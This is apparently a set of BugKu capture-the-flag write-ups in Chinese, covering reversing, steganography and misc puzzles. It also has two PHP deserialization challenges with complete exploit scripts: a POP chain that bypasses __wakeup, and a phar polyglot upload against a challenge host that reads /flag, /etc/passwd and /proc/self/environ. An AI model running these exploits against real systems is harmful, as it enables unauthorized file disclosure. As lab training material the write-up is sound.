BugKu Some Write-Up

<?php
class MazeEntry {
    public $handler;

    public function __wakeup() {
        $this->handler = null;          // "醒来时一切归零"
    }

    public function __destruct() {
        $this->handler->process();
    }
}

class MazeFilter {
    public $target;

    public function process() {
        $content = $this->target->output;   // 触发 __get
        echo $content;                       // 回显 → 外带通道
    }
}

class MazeReader {
    public $path;

    public function __get($key) {
        return file_get_contents($this->path);   // 任意文件读取
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];
    if (strlen($data) > 500) {
        die("数据过长");
    }
    unserialize($data);
}
?>

MazeEntry::__destruct()          入口：脚本结束时触发
    │  $this->handler->process()
    ▼
MazeFilter::process()            中继：调用不存在属性
    │  $this->target->output     (MazeFilter 没有 output 属性 → 触发 __get)
    ▼
MazeReader::__get('output')      落点：读文件
    │  file_get_contents($this->path)
    ▼
MazeFilter::process() 中 echo $content   → 直接回显文件内容

public function __wakeup() {
    $this->handler = null;    // 反序列化时把 handler 抹成 null
}

O:9:"MazeEntry":2:{            ← 声明 2 个属性、实际只给 1 个 → 跳过 __wakeup
    s:7:"handler";
    O:10:"MazeFilter":1:{      ← 正常声明
        s:6:"target";
        O:10:"MazeReader":1:{  ← 正常声明（注意 MazeReader 是 10 个字符！）
            s:4:"path";
            s:5:"/flag";
        }
    }
}

O:9:"MazeEntry":2:{s:7:"handler";O:10:"MazeFilter":1:{s:6:"target";O:10:"MazeReader":1:{s:4:"path";s:5:"/flag";}}}

http://target.com/?data=<URL编码后的payload>

#!/usr/bin/env python3
import re
import sys
import urllib.parse
import urllib.request

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/"
FLAG_PATH = sys.argv[2] if len(sys.argv) > 2 else None

CANDIDATE_PATHS = ["/flag", "/flag.txt", "/flag.php",
                   "/var/www/html/flag.php", "/etc/passwd"]


def s(x: str) -> str:
    """PHP 序列化字符串,长度自动计算 —— 杜绝手写长度前缀出错"""
    return f's:{len(x)}:"{x}";'


def build(path: str) -> str:
    """
    POP 链:
      MazeEntry::__destruct  →  $this->handler->process()
      MazeFilter::process    →  $this->target->output   (触发 __get)
      MazeReader::__get      →  file_get_contents($this->path)
    绕过:
      外层 MazeEntry 声明 2 个属性、实际只写 1 个 (CVE-2016-7124)
      → PHP < 5.6.25 / < 7.0.10 跳过 __wakeup,且属性完整保留
    """
    reader = f'O:{len("MazeReader")}:"MazeReader":1:{{{s("path")}{s(path)}}}'
    flt = f'O:{len("MazeFilter")}:"MazeFilter":1:{{{s("target")}{reader}}}'
    #                               ↑↑ 关键: :2: 但下面只提供 1 个属性
    entry = f'O:{len("MazeEntry")}:"MazeEntry":2:{{{s("handler")}{flt}}}'
    return entry


def fire(path: str) -> str:
    payload = build(path)
    assert len(payload) <= 500, "payload 超过题目 500 字符限制"
    url = TARGET.rstrip("/") + "/?data=" + urllib.parse.quote(payload)
    resp = urllib.request.urlopen(url, timeout=10).read().decode(errors="replace")
    return resp.split("</html>", 1)[-1]      # 去掉 highlight_file 的高亮源码


def main():
    paths = [FLAG_PATH] if FLAG_PATH else CANDIDATE_PATHS
    for p in paths:
        tail = fire(p)
        m = re.search(r"flag\{[^}]*\}", tail)
        if m:
            print(f"[+] {p} → {m.group(0)}")
            return
        if "root:x:0:0" in tail:
            print(f"[+] {p} → (链路已通, 文件可读, 但不是 flag)")
        else:
            print(f"[-] {p} → {tail.strip()[:120]!r}")
    print("[!] 未匹配到 flag,可手动指定路径: python3 exp_序列化迷宫.py <url> /xxx")


if __name__ == "__main__":
    main()

class Gallery {
    public $collection;

    public function __destruct() {              // 入口：对象销毁时触发
        echo $this->collection->getInfo();
    }
}

class Collection {
    public $items = array();

    public function getInfo() {                 // 中间跳板：调用 items 元素的 name 属性
        $info = "";
        foreach ($this->items as $item) {
            $info .= "<p>作品名称: " . $item->name . "</p>";
        }
        return $info;
    }
}

class Painting {
    public $path;                               // 注意：没有 $name 属性

    public function __get($key) {               // 末端 gadget：读取任意文件
        if (isset($this->$key)) {
            return $this->$key;                 // 若属性存在则直接返回
        }
        return file_get_contents($this->path);  // 属性不存在 → 任意文件读取
    }
}

O:7:"Gallery":1:{s:10:"collection";O:10:"Collection":1:{s:5:"items";a:1:{i:0;O:8:"Painting":1:{s:4:"path";s:5:"/flag";}}}}

Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=...; path=/

printf 'GIF89a\x01\x00\x01\x00\x00\xff\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00\x3b' > /tmp/test.gif
curl -s -F "image=@/tmp/test.gif;type=image/gif" http://160.202.254.160:17441/
# → <p style='color:green'>上传成功！文件: b2cc67248b87bcf4ed3280232a1deabd.gif</p>

curl -s "http://.../?view=uploads/b2cc...abd.gif"
# → 路径: uploads/...  尺寸: 1x1  类型: image/gif  大小: 33 bytes

+------------------------+
|   stub（存根）          |  ← 必须以 __HALT_COMPILER(); 结尾,之前内容任意
+------------------------+
|   manifest（清单）      |  ← 文件元信息,其中 metadata 是**序列化数据**
+------------------------+
|   文件内容              |
+------------------------+
|   signature（签名）     |
+------------------------+

file_exists()  file_get_contents()  fopen()  filesize()  is_file()
is_dir()  copy()  stat()  getimagesize()  md5_file()  ...

?view=phar://uploads/evil.gif
        │
        ▼
getimagesize("phar://uploads/evil.gif")   ← 流包装器打开 phar
        │
        ▼
PHP 解析 phar manifest ──► unserialize(metadata)  ◄── 我们的 Gallery 链藏在 metadata 里
        │
        ▼
请求结束时对象销毁 ──► Gallery::__destruct() ──► POP 链执行 ──► flag 输出到响应末尾

php://filter/convert.base64-encode/resource=index.php

<?php
// gen_phar.php —— 用法: php -d phar.readonly=0 gen_phar.php <目标路径> <输出文件>
$target = $argv[1];
$out    = $argv[2];

class Gallery    { public $collection; }
class Collection { public $items = array(); }
class Painting   { public $path; }        // 注意不要定义 $name

@unlink($out);

$p = new Painting();
$p->path = $target;
$c = new Collection();
$c->items = array($p);                    // 单元素；可放多个批量读
$g = new Gallery();
$g->collection = $c;

$phar = new Phar($out);
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");  // ← GIF 头绕过图片校验
$phar->setMetadata($g);                                     // ← POP 链作为 metadata
$phar->addFromString("a.gif", "test");
$phar->stopBuffering();                                     // 自动计算签名

php -d phar.readonly=0 gen_phar.php \
    "php://filter/convert.base64-encode/resource=index.php" /tmp/exp.phar

cp /tmp/exp.phar /tmp/exp.gif
curl -s -F "image=@/tmp/exp.gif;type=image/gif" http://160.202.254.160:17441/
# → 上传成功！文件: 13a0143ec21ceb890686d554138b86f3.gif

curl -s "http://160.202.254.160:17441/?view=phar%3A%2F%2Fuploads%2F13a0143ec21ceb890686d554138b86f3.gif"

if (isset($_GET['view'])) {
    $path = $_GET['view'];

    // 简单过滤：禁止直接访问 flag 文件
    if (preg_match('/flag/i', $path)) {
        die("<p style='color:red'>禁止访问flag相关文件</p>");
    }

    // 漏洞点：getimagesize() 支持 phar:// 协议
    $size = @getimagesize($path);          // ← phar 反序列化触发点
    ...
}

// 上传处理
$size = @getimagesize($tmpname);           // ← 图片校验（GIF89a 头绕过）
if (!$size) die("错误：仅允许上传图片文件");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, ['jpg','jpeg','png','gif'])) die(...);
$newname = md5(uniqid()) . '.' . $ext;
move_uploaded_file($tmpname, "uploads/$newname");

<?php
// gen_multi.php —— 用法: php -d phar.readonly=0 gen_multi.php <输出> <路径1> <路径2> ...
$paths = array_slice($argv, 2);
class Gallery    { public $collection; }
class Collection { public $items = array(); }
class Painting   { public $path; }

$items = [];
foreach ($paths as $p) { $pt = new Painting(); $pt->path = $p; $items[] = $pt; }
$c = new Collection(); $c->items = $items;
$g = new Gallery();    $g->collection = $c;

$phar = new Phar($argv[1]);
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($g);
$phar->addFromString("a.gif", "test");
$phar->stopBuffering();

php -d phar.readonly=0 gen_multi.php /tmp/probe.phar \
    /flag /flag.txt /flag.php ./flag.php \
    /var/www/html/flag.php /var/www/flag.txt \
    /proc/self/environ /proc/self/cmdline

cp /tmp/probe.phar /tmp/probe.gif
curl -s -F "image=@/tmp/probe.gif;type=image/gif" http://160.202.254.160:17441/
# → 上传成功！文件: a91f2dea804ce8f0ced43f89b0501eb7.gif

curl -s "http://160.202.254.160:17441/?view=phar%3A%2F%2Fuploads%2Fa91f2dea804ce8f0ced43f89b0501eb7.gif" -o out.html

import re
html = open('out.html').read()
blocks = re.findall(r"<div class='painting-info'>.*?</div>", html, re.S)
paths = ["/flag","/flag.txt","/flag.php","./flag.php",
         "/var/www/html/flag.php","/var/www/flag.txt",
         "/proc/self/environ","/proc/self/cmdline"]
for p, b in zip(paths, blocks):
    print(f"===== {p} =====")
    print(re.search(r"作品名称: (.*?)</p>", b, re.S).group(1)[:1500])

===== /flag =====
flag{3895bbd6008a86b89d72916fc99c39b1}
===== /flag.txt / flag.php / ... =====
（空,文件不存在）
===== /proc/self/cmdline =====
apache2\x00-DFOREGROUND\x00        ← 证实是真实的服务端文件读取

#!/bin/bash
# exp.sh —— 画廊 phar 反序列化 getflag
URL="http://160.202.254.160:17441"

# 1. 生成读 /flag 的 phar（GIF89a 头 + POP 链 metadata）
cat > /tmp/exp_gen.php <<'PHP'
<?php
class Gallery    { public $collection; }
class Collection { public $items = array(); }
class Painting   { public $path; }
$pt = new Painting(); $pt->path = '/flag';
$c  = new Collection(); $c->items = [$pt];
$g  = new Gallery();    $g->collection = $c;
$phar = new Phar('/tmp/exp.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($g);
$phar->addFromString('a.gif', 'test');
$phar->stopBuffering();
PHP
php -d phar.readonly=0 /tmp/exp_gen.php

# 2. 上传（伪 GIF）
NAME=$(curl -s -F "image=@/tmp/exp.phar;filename=exp.gif;type=image/gif" "$URL/" \
      | grep -oE '[0-9a-f]{32}\.gif' | head -1)
echo "[+] uploaded: $NAME"

# 3. phar:// 触发反序列化,flag 追加在响应末尾
curl -s "$URL/?view=phar%3A%2F%2Fuploads%2F$NAME" \
  | grep -oE '作品名称: [^<]*' | grep -oE 'flag\{[^}]*\}'

int main() {
    char buf[0x40];        // rbp-0x40
    unsigned char regs[8]; // rbp+0 .. rbp+7  ← VM 寄存器组
    unsigned char mem[96]; // 0x140006080     ← VM 数据内存

    if (IsDebuggerPresent()) return 0;          // 反调试（静态分析无影响）

    printf("Enter the flag: ");
    fflush(stdout);
    if (!fgets(buf, 0x40, stdin)) return 0;

    int len = strlen(buf);
    while (buf[len-1] == '\r' || buf[len-1] == '\n')  // 去掉行尾换行
        buf[--len+1] = 0;                              // （严格说先置0再减）
    if (len != 0x1f) goto wrong;               // 长度必须 31

    memset(&mem[0x2f], 0, 0x31);               // 清零 mem 后半段
    memcpy(&mem[0x00], buf, 31);               // 输入 → mem[0..30]
    memcpy(&mem[0x20], keytab, 32);            // 密钥表 → mem[0x20..0x3f]
    memcpy(&mem[0x40], ct, 32);                // 密文   → mem[0x40..0x5f]

    memset(regs, 0, 8);                        // 寄存器清零
    int pc = 0;
    rcx = "Wrong!";                            // puts 参数默认指向 Wrong!
    ... // VM 主循环（见下）
}

mem[0x60]（.data @ 0x140006080）
┌──────────────────────────┬──────────────────────────┬──────────────────────────┐
│ mem[0x00 .. 0x1e]        │ mem[0x20 .. 0x3f]        │ mem[0x40 .. 0x5f]        │
│ 输入 31 字节              │ keytab 32 字节            │ ct 密文 32 字节           │
└──────────────────────────┴──────────────────────────┴──────────────────────────┘

140001590:  movslq %r10d, %r11          ; r11 = pc
140001593:  movzbl (%r11,%rax), %esi    ; op = prog[pc]      (rax = prog 基址)
140001598:  decl    %esi                ; op -= 1
14000159a:  cmpl    $0xb, %esi
14000159d:  ja      wrong               ; op-1 > 11 → 非法操作码,退出
1400015a3:  movslq (%rdx,%rsi,4), %rsi  ; off = (int32)table[op-1]  (rdx = 0x1400030a0)
1400015a7:  addq    %rdx, %rsi
1400015aa:  jmpq    *%rsi               ; 跳转表分发

140001604:  movzbl 0x1(%r11,%rax), %esi   ; dst = prog[pc+1]
14000160a:  leal   0x3(%r11), %r10d       ; pc += 3  → 指令长度 3 字节
14000160e:  movzbl 0x2(%r11,%rax), %r11d  ; src = prog[pc+2]
140001614:  movzbl (%rbp,%r11), %r11d     ; r11 = regs[src]
14000161a:  addb   %r11b, (%rbp,%rsi)     ; regs[dst] += regs[src]
14000161f:  jmp    fetch

prog   = rd(0x140003130, 74)   # VM 字节码
keytab = rd(0x1400030f0, 32)   # 密钥表
ct     = rd(0x140003110, 32)   # 密文

keytab: e8 52 93 11 c4 7a 2f 6b d5 08 9c 3e 61 b7 44 f0 8d 25 ca 5e 19 76 a3 c8 0f b2 64 d9 30 8a 4d 00
ct    : b4 51 1e a4 db 2b a3 84 d1 a6 13 89 7a 12 33 ee 18 77 25 5a a6 53 bc e5 7a fb 7e 13 86 d5 5a 00

=== 初始化 ===
 0: MOVI    r3, 0x00        ; i = 0
 3: MOVI    r4, 0x01        ; 常数 1
 6: MOVI    r6, 0x2a        ; 常数 42
 9: MOVI    r7, 0x00        ; 成功标志 = 0
12: MOVI    r5, 0xff        ; （干扰指令）
15: XOR     r5, r5          ; r5 = 0（干扰指令）
18: MOVI    r2, 0x1f        ; 循环上界 31

=== 循环 1：变换（i = 0..30）===
21: LOADM   r0, r3          ; r0 = mem[i]        = input[i]
24: LOADKEY r5, r3          ; r5 = mem[0x20 + i] = keytab[i]
27: XOR     r0, r5          ; r0 ^= keytab[i]
30: ADD     r0, r6          ; r0 += 42
33: STORE   (r3), r0        ; mem[i] = r0         = 变换结果
36: ADD     r3, r4          ; i++
39: CMP     r3, r2          ; i == 31 ?
42: JZ      -> 21           ; i != 31 则继续循环

=== 循环 2：校验（i = 0..30）===
44: MOVI    r3, 0x00        ; i = 0
47: LOADM   r0, r3          ; r0 = mem[i]   （变换后）
50: LOADCT  r1, r3          ; r1 = mem[0x40 + i] = ct[i]
53: CMP     r0, r1          ; 相等？
56: JZ      -> 69           ; 不相等(flag==0) → 直接跳 HALT,r7 仍为 0 → "Wrong!"
58: ADD     r3, r4          ; i++
61: CMP     r3, r2          ; i == 31 ?
64: JZ      -> 47           ; i != 31 继续比较
66: MOVI    r7, 0x01        ; 31 字节全部匹配 → r7 = 1
69: HALT                    ; r7==1 → "Correct!",否则 "Wrong!"
70: MOVI    r7, 0x00        ; （另一条失败路径）
73: HALT

mem[i] = ((input[i] XOR keytab[i]) + 42) mod 256

(input[i] XOR keytab[i]) + 42 ≡ ct[i]  (mod 256)
⇒  input[i] = ((ct[i] - 42) mod 256) XOR keytab[i]

flag = bytes(((ct[i] - 42) & 0xff) ^ keytab[i] for i in range(31))
# b'bugku{V1rtua1_M4ch1ne_1s_c00l!}'

#!/usr/bin/env python3
# exp_silentvm.py —— 依赖: pip install pefile
import struct, pefile

pe = pefile.PE('SilentVM.exe')
base = pe.OPTIONAL_HEADER.ImageBase
for s in pe.sections:
    if s.Name.decode().startswith('.rdata'):
        rd_off = base + s.VirtualAddress
        rdata  = s.get_data()
rd = lambda va, n: rdata[va - rd_off : va - rd_off + n]

prog   = rd(0x140003130, 74)    # VM 字节码
keytab = rd(0x1400030f0, 32)    # 密钥表
ct     = rd(0x140003110, 32)    # 密文

# ---- 指令集（从 12 个 handler 静态分析还原）----
LEN  = {1:3, 2:3, 3:3, 4:3, 5:3, 6:3, 7:2, 8:2, 9:1, 0xa:3, 0xb:3, 0xc:2}
NAME = {1:'MOVI',2:'XOR',3:'ADD',4:'LOADM',5:'STORE',6:'CMP',7:'JZ',
        8:'JMP',9:'HALT',0xa:'LOADKEY',0xb:'LOADCT',0xc:'JNZ'}

# ---- 模拟器 ----
def run(inp):
    mem  = bytearray(96)
    mem[0:31], mem[0x20:0x40], mem[0x40:0x60] = inp, keytab, ct
    regs, pc, flag = bytearray(16), 0, False
    for _ in range(100000):
        op = prog[pc]
        if   op == 1:   regs[prog[pc+1]] = prog[pc+2]; pc += 3
        elif op == 2:   regs[prog[pc+1]] ^= regs[prog[pc+2]]; pc += 3
        elif op == 3:   regs[prog[pc+1]] = (regs[prog[pc+1]] + regs[prog[pc+2]]) & 0xff; pc += 3
        elif op == 4:   regs[prog[pc+1]] = mem[regs[prog[pc+2]]]; pc += 3
        elif op == 5:   mem[regs[prog[pc+1]]] = regs[prog[pc+2]]; pc += 3
        elif op == 6:   flag = regs[prog[pc+1]] == regs[prog[pc+2]]; pc += 3
        elif op == 7:
            rel = struct.unpack('b', prog[pc+1:pc+2])[0]
            if flag == 0: pc += 2 + rel
            else:         flag = False; pc += 2
        elif op == 8:   pc += 2 + struct.unpack('b', prog[pc+1:pc+2])[0]
        elif op == 9:   return regs[7] == 1        # HALT
        elif op == 0xa: regs[prog[pc+1]] = mem[0x20 + regs[prog[pc+2]]]; pc += 3
        elif op == 0xb: regs[prog[pc+1]] = mem[0x40 + regs[prog[pc+2]]]; pc += 3
        elif op == 0xc:
            rel = struct.unpack('b', prog[pc+1:pc+2])[0]
            if flag != 0: flag = True; pc += 2 + rel
            else:         flag = False; pc += 2
        else: return False
    return False

# ---- 逆推: mem[i] = ((in[i]^key[i])+42)&0xff == ct[i] ----
flag = bytes(((ct[i] - 42) & 0xff) ^ keytab[i] for i in range(31))
print('flag    :', flag.decode())
print('VM verify (should be Correct):', run(flag))
print('negative (A*31, should be Wrong):', run(b'A'*31))

int main(void) {
    SetUnhandledExceptionFilter(vh);              // 注册异常处理器

    if (IsDebuggerPresent() ||                    // 反调试探测
        (NtQueryInformationProcess(GetCurrentProcess(),
            7 /*ProcessDebugPort*/, &port, 8, 0) == 0 && port != 0))
        g_poison = 1;                             //    命中 → 投毒

    VirtualProtect(check, 1, PAGE_EXECUTE_READWRITE, &old);
    *(uint8_t*)check = 0xCC;                      // 往 check 首字节写 INT3
    VirtualProtect(check, 1, old, 0);

    /* ========== 第一道门：令牌 ========== */
    put_s(S_TOKEN);                               // "Token: "
    fgets(line, 0x100, stdin);  line[strcspn(line, "\n")] = 0;
    if (strlen(line) != 0x20) return puts_bad();
    for (i = 0; i < 16; i++) {                    // hex → 16 字节 T
        hi = hexv(line[2i]); lo = hexv(line[2i+1]);
        if (hi < 0 || lo < 0) return puts_bad();
        T[i] = (hi << 4) | lo;
    }
    memcpy(work, T, 16);
    xform(work, 8);                               // 核心变换
    for (i = 0; i < 16; i++) expect[i] = COG_META[0x1b+i] ^ 0x5A;
    if (memcmp(work, expect, 16) != 0) return puts_bad();

    /* ========== 第二道门：口令 ========== */
    put_s(S_OKK);   // "Ok"
    put_s(S_PASS);  // "Passphrase: "
    fgets(line, 0x100, stdin);  line[strcspn(line, "\n")] = 0;
    if (strncmp(line, "flag{", 5) != 0)  return puts_badfmt();
    if (strlen(line) != 0x26 || line[0x25] != '}') return puts_badfmt();

    P = line + 5;                                 // 32 字节口令体
    r = check(P, T);                              // 触发 INT3 的调用
    puts(r ? "Access granted" : "Access denied");
    return 0;
}

LONG vh(PEXCEPTION_POINTERS ep) {
    if (ep->ExceptionRecord->ExceptionCode != 0x80000003)
        return EXCEPTION_CONTINUE_SEARCH;
    if (ep->ContextRecord->Rip == (DWORD64)&check) {
        ep->ContextRecord->Rip = (DWORD64)&real_check;   // 0x14000189d
        return EXCEPTION_CONTINUE_EXECUTION;              // 换个地方继续跑
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

+0x00  "COG_META_01"                        魔数
+0x0b  01 03 05 07 02 04 06 01              xform 8 轮的 ROL 位数
+0x13  13 27 3b 4f 63 77 8b 9f              xform 8 轮的加法常数（公差 0x14）
+0x1b  59 13 7a da 4d cc 7f ba              第一道门期望值（^0x5A 后生效）
      f1 31 67 d4 69 af e2 00
+0x2b  4c 90 04 a5 ... 5b a3 7b 3a          第二道门期望表源（^0xCC 后生效）

for (r = 0; r < 8; r++) {
    A = COG_META[r+0x13];  R = COG_META[r+0x0b];
    for (j = 0; j < 8; j++) {
        c         = buf[2j+1];
        buf[2j]   = buf[2j] + c + A;               // mod 256
        buf[2j+1] = rol8(buf[2j] ^ c, R & 0x1f);
    }
    rotate_left_1(buf);                             // 整体左旋 1 字节
}

def xform_inv(buf, rounds):
    buf = bytearray(buf)
    for r in range(rounds-1, -1, -1):
        A, R = COG_META[r+0x13], COG_META[r+0x0b]
        buf = buf[-1:] + buf[:-1]                  # 撤销左旋
        for j in range(8):
            new0, new1 = buf[2j], buf[2j+1]
            c = ror8(new1, R) ^ new0
            buf[2j+1] = c
            buf[2j]   = (new0 - c - A) & 0xff
    return bytes(buf)

token = xform_inv(E1, 8)   # → 1b229cd6987b14f65dedb7595a671797

if (g_poison) return 0;
for (i = 0; i < 32; i++)
    table[i] = COG_META[0x2b + (7*i) % 32] ^ 0xCC;
T2 = xform(T, 8);                                 // 对令牌再做一次 xform
for (i = 0; i < 32; i++)
    K[i] = (0x11*i + T2[i % 16]) & 0xFF;          // 密钥流
for (i = 0; i < 32; i++)
    if (rol8(((P[i]^K[i]) + 0x1F*i) ^ 0x5A, 3) != table[i])
        return 0;
return 1;                                         // → Access granted

P[i] = ((ror8(table[i], 3) ^ 0x5A) - 0x1F*i) & 0xFF ^ K[i]

It7*w7[^~i9:DR70[t,TQqKo&b?+hxV7

data = bytearray(open('target.exe','rb').read())
i = data.find(b'UPA')
while i != -1:
    data[i+2] = ord('X')          # UPA -> UPX
    i = data.find(b'UPA', i+1)
open('fixed_upx.exe','wb').write(data)

$ upx -d fixed_upx.exe -o unpacked.exe
    131716 <-     67204   51.02%    win64/pe     unpacked.exe
Unpacked 1 file.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[16]; // [rbp-30h]  密文
  _BYTE v5[28]; // [rbp-20h]  输入缓冲

  _main();
  qmemcpy(v4, "FK?DWzCLwPEJFFqN", sizeof(v4));   // 16 字节目标密文
  v6 = 0;
  printf("input your flag:");
  scanf("%c", v5);
  enc_magic(v5);                                  // 就地加密输入
  if ( v6 <= 15 )
  {
    if ( v5[v6] != v4[v6] ) { printf("wrong");  exit(0); }
    printf("right"); exit(0);
  }
  return 0;
}

_BYTE *__fastcall enc_magic(_BYTE *a1)
{
  for ( int i = 0; i <= 15; ++i )
  {
    a1[i] ^= 0x20;   // 先异或 0x20
    a1[i] -= i;      // 再减去下标 i
  }
  return a1;
}

cipher = b'FK?DWzCLwPEJFFqN'

flag = bytes(((c + i) ^ 0x20) & 0xff for i, c in enumerate(cipher))
print(flag.decode())                      # flag{_is_yours_}

# 自验算:按程序逻辑重新加密
enc = bytes((((c ^ 0x20) - i) & 0xff) for i, c in enumerate(flag))
print(enc == cipher)                      # True

flag{_is_yours_}

\nTheFollowingIsA7zArchive\n
7z BC AF 27 1C 00 04 ...

raw = open('poster.jpg','rb').read()
i = raw.find(b'TheFollowingIsA7zArchive\n')
open('tail.7z','wb').write(raw[i+len(b'TheFollowingIsA7zArchive\n'):])

mdzsbxdx --ROT13--> zqmfokqk

7z x -p'zqmfokqk' tail.7z    # 解出 12 个碎片 frag01 ~ frag12

G4 → G#4 → A4 → A#4 → B4 → C5 → C#5 → D5 → D#5 → E5 → F5 → F#5
f12   f11    f03   f05   f10   f01   f09   f02   f04   f08   f07   f06

frag01:XFA  frag02:KQ4  frag03:VND  frag04:HEW  frag05:E5S  frag06:M5I
frag07:NCD  frag08:JVO  frag09:M3X  frag10:CG5  frag11:JZN  frag12:LA2GWU

LA2GWU + JZN + VND + E5S + CG5 + XFA + M3X + KQ4 + HEW + JVO + NCD + M5I
= LA2GWUJZNVNDE5SCG5XFAM3XKQ4HEWJVONCDM5I

import base64
base64.b32decode("LA2GWUJZNVNDE5SCG5XFAM3XKQ4HEWJVONCDM5I" + "=")
# b'X4kQ9mZ2vB7nP3wT8rY5sD6u'

flag{X4kQ9mZ2vB7nP3wT8rY5sD6u}

========
ROTOR ENGINE MANUAL
- payload lives in each channel LSB, MSB-first bit order
- read spans are declared in manifest.json (byte offsets, byte lengths)
- channel order and final digest come from rotor_state.npz
- helper names: _pull_channel_lsb, _unscramble_mesh, gear_order

{"channels": {"R": {"offset": 0,     "length": 17},
              "G": {"offset": 34567, "length": 17},
              "B": {"offset": 891,   "length": 17}},
 "bit_order": "msb"}

R @0     : flag{pY79mxk2ZQL}
G @34567 : flag{4JwNvxBRc8q}
B @891   : flag{nTSd6E3Ghfw}

engine digest: SHA256(flag1R || flag2G || flag3B)
rotor order: physical (R,G,B) -> logical (R,B,G)
scramble seeds: rotor_seeds[0]=R [1]=G [2]=B (physical order)
unscramble: inverse of numpy RandomState(seed).shuffle over the bytes
            between flag{ and }, per channel

concat = flag{kQ7xYp2LmZ9} || flag{hT3dSf6GnEw} || flag{vN8cRw4BqJx}
       = "flag{kQ7xYp2LmZ9}flag{hT3dSf6GnEw}flag{vN8cRw4BqJx}"   (51 字节)

SHA256(concat) = 91daf89838511846f05d7d3f6add20ed6694cefe1f518ce0808c842b54b06100

import base64, hashlib, json, zlib
import numpy as np
from PIL import Image

BASE = '.../challenge'
img = np.array(Image.open(f'{BASE}/Blueprint.png'))
manifest = json.load(open(f'{BASE}/manifest.json'))
npz = np.load(f'{BASE}/rotor_state.npz', allow_pickle=True)
hint = zlib.decompress(base64.b64decode(npz['rotor_hint'].item())).decode()
seeds = npz['rotor_seeds'].tolist()

def _pull_channel_lsb(ch2d, off, ln):                      # MSB-first LSB 折字节
    bits = (ch2d.flatten() & 1).astype(np.uint8)
    seg = bits[off*8:(off+ln)*8].reshape(-1, 8)
    return bytes((seg * [128,64,32,16,8,4,2,1]).sum(1).astype(np.uint8).tolist())

def _unscramble_mesh(scr, seed):                           # shuffle 逆变换
    n = len(scr); idx = np.arange(n)
    np.random.RandomState(seed).shuffle(idx)               # out[i] = orig[idx[i]]
    out = [None]*n
    for i, src in enumerate(idx): out[src] = scr[i]
    return bytes(out)

full = {}
for pos, ch in enumerate('RGB'):                           # seeds 按物理序
    sp = manifest['channels'][ch]
    raw = _pull_channel_lsb(img[:, :, 'RGB'.index(ch)], sp['offset'], sp['length'])
    full[ch] = b'flag{' + _unscramble_mesh(raw[5:-1], seeds[pos]) + b'}'

concat = full['R'] + full['B'] + full['G']                 # rotor: (R,G,B)->(R,B,G)
print('flag{%s}' % hashlib.sha256(concat).hexdigest())
# flag{91daf89838511846f05d7d3f6add20ed6694cefe1f518ce0808c842b54b06100}

frame is wrong.

import struct, zlib

data = open('vault.dat','rb').read()
idat = b''
pos = 8
while pos + 8 <= len(data):
    length = struct.unpack('>I', data[pos:pos+4])[0]
    ctype  = data[pos+4:pos+8]
    if ctype == b'IDAT':
        idat += data[pos+8:pos+8+length]
    pos += 12 + length

raw = zlib.decompress(idat)
print(len(raw))            # 365180 = 961 * 380 (声明只有 180 行)
hidden = raw[172980:]      # 第 180~379 行:隐藏的第二张图 (320x200)

OP TABLE v2.1
A = ADD   acc += n
B = SUB   acc -= n
C = MUL   acc *= n
D = DIV   acc //= n
E = MOD   acc %= n
F = XOR   acc ^= n
G = SET   acc = n
H = OUT   append acc

VlVaV1RWVXdWbVpTTUVaVlVsWTRlRTlVYXpNPQ==
  → VUZWTVUwVmZSMEZVUlY4eE9UazM=
    → UFVMU0VfR0FURV8xOTk3
      → PULSE_GATE_1997

import base64, codecs

def unwrap(v):
    return base64.b64decode(codecs.encode(base64.b64decode(v), 'rot13') + b'===')

1. The frame of the picture is wrong. Fix it and read the manual.
2. The tags are triple-wrapped: base64 -> rot13 -> base64.
3. The real body lies between the twin markers. The key is the header.
4. Hash the header with sha256 and xor the body.
5. Merge the remainders (they share factors), then join the hint with ':',
   hash with sha256, and xor the payload.
6. The plaintext starts with flag{.

D1 A0 G12345678901234 B0 B0 B0 E100 H F0
G12345678901234 C1 B0 E121 H B0 F0
G12345678901234 D1 E243 H B0
G12345678901234 C1 F0 A0 E256 H F0
G12345678901234 B0 E343 H C1 C1
G12345678901234 C1 B0 D1 E625 H C1 D1
G12345678901234 A0 E729 H C1 D1
G12345678901234 A0 C1 A0 E1024 H

import re
ops = re.findall(r'([A-H])(\d*)', open('PLAIN_PULSE_CODE.txt').read())
acc, out = 0, []
for op, ns in ops:
    n = int(ns) if ns else 0
    if   op == 'A': acc += n
    elif op == 'B': acc -= n
    elif op == 'C': acc *= n
    elif op == 'D': acc //= n
    elif op == 'E': acc %= n
    elif op == 'F': acc ^= n
    elif op == 'G': acc = n
    elif op == 'H': out.append(acc)
print(out)   # [34, 52, 10, 242, 70, 609, 10, 1010]

G 12345678901234 … E<moduli> H      # 即 N % m_i 后输出

100  = 2²·5²     121 = 11²      243 = 3⁵
256  = 2⁸        343 = 7³       625 = 5⁴
729  = 3⁶        1024 = 2¹⁰

from math import gcd

def egcd(a, b):
    if b == 0: return a, 1, 0
    g, x, y = egcd(b, a % b)
    return g, y, x - (a // b) * y

def crt_merge(r1, m1, r2, m2):
    g = gcd(m1, m2)
    assert (r2 - r1) % g == 0          # 不满足则无解
    lcm = m1 // g * m2
    _, p, _ = egcd(m1, m2)
    diff = (r2 - r1) // g
    return (r1 + m1 * (diff * p % (m2 // g))) % lcm, lcm

moduli = [100, 121, 243, 256, 343, 625, 729, 1024]
rems   = [34, 52, 10, 242, 70, 609, 10, 1010]
r, m = rems[0], moduli[0]
for ri, mi in zip(rems[1:], moduli[1:]):
    r, m = crt_merge(r, m, ri, mi)
print(r, m)   # N = 12345678901234  (mod 19363639680000)

import base64, hashlib

payload = base64.b64decode('MIEVmlOBBc0hnV/CfmptnP0/4Sn5xVeSdkjdWKeUE8hn3geA')
